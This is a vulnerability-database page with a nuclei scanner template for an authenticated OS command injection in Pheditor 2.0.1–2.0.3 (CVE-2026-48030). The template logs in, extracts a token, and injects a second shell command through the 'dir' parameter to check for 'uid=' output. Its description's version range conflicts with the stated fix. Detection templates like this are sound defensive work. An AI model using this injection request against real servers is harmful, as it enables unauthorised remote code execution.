Lucene search
+L

Pheditor 2.0.1-2.0.3 - OS Command Injection

🗓️ 12 Oct 2026 02:21:59Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 31 Views

Pheditor 2.0.1–2.0.3 has OS command injection via dir; authenticated users can run commands; upgrade to 2.0.4.

Related
Refs
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2026-48030
27 Jul 202617:53
–attackerkb
circl
Circl
CVE-2026-48030
20 May 202613:11
–circl
cve
CVE
CVE-2026-48030
27 Jul 202617:53
–cve
cvelist
Cvelist
CVE-2026-48030 Pheditor: OS Command Injection in terminal handler via unsanitized 'dir' parameter (CWE-78)
27 Jul 202617:53
–cvelist
euvd
EUVD
EUVD-2026-49384
27 Jul 202617:53
–euvd
githubexploit
GithubExploit
Exploit for CVE-2026-48030
28 May 202609:28
–githubexploit
github
Github Security Blog
Pheditor: OS Command Injection in terminal handler via unsanitized 'dir' parameter
9 Jun 202622:00
–github
kitploit
Kitploit
CVE-2026-48030
6 Oct 202619:12
–kitploit
mend
Mend
CVE-2026-48030
27 Jul 202617:53
–mend
nvd
NVD
CVE-2026-48030
27 Jul 202618:16
–nvd
Rows per page
id: CVE-2026-48030

info:
  name: Pheditor 2.0.1-2.0.3 - OS Command Injection
  author: juoum00000
  severity: critical
  description: |
    Pheditor 2.0.1 to - 2.0.4 contains an OS command injection caused by improper sanitization of the 'dir' POST parameter in the terminal action handler, letting authenticated users execute arbitrary OS commands with web server privileges.
  impact: |
    Authenticated users can execute arbitrary OS commands, leading to full remote code execution with web server privileges.
  remediation: |
    Upgrade to version 2.0.4 or later.
  reference:
    - https://github.com/advisories/GHSA-jvc5-6g7q-c843
    - https://github.com/muslimbek-0x/CVE-2026-48030
    - https://nvd.nist.gov/vuln/detail/CVE-2026-48030
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.9
    cve-id: CVE-2026-48030
    epss-score: 0.07548
    epss-percentile: 0.94383
    cwe-id: CWE-78
  metadata:
    max-request: 4
    verified: true
    vendor: pheditor
    product: pheditor
    fofa-query: body="pheditor_password"
    shodan-query: http.html:pheditor
  tags: cve,cve2026,rce,pheditor,authenticated

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        POST /pheditor.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        pheditor_password={{password}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
        internal: true

  - raw:
      - |
        GET /pheditor.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "token")'
          - '!contains(body, "pheditor_password")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: token
        group: 1
        internal: true
        regex:
          - 'token = "([0-9a-f]{64})"'

  - raw:
      - |
        POST /pheditor.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=terminal&command=whoami&dir=/tmp%3B%20id%20%23&token={{token}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "uid=")'
        condition: and
# digest: 4b0a0048304602210087f3e12a09fa5b8e939392c2f89bc8f7bd8559be5039cd772759d9b964a0d087022100dd54ed76d0822b9107755b5ad518f69903c75c9aa99830cc750cbecee5e32255:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Aug 2026 21:51Current
6.4Medium risk
Vulners AI Score6.4
CVSS 3.19.9
EPSS0.07548
SSVC
31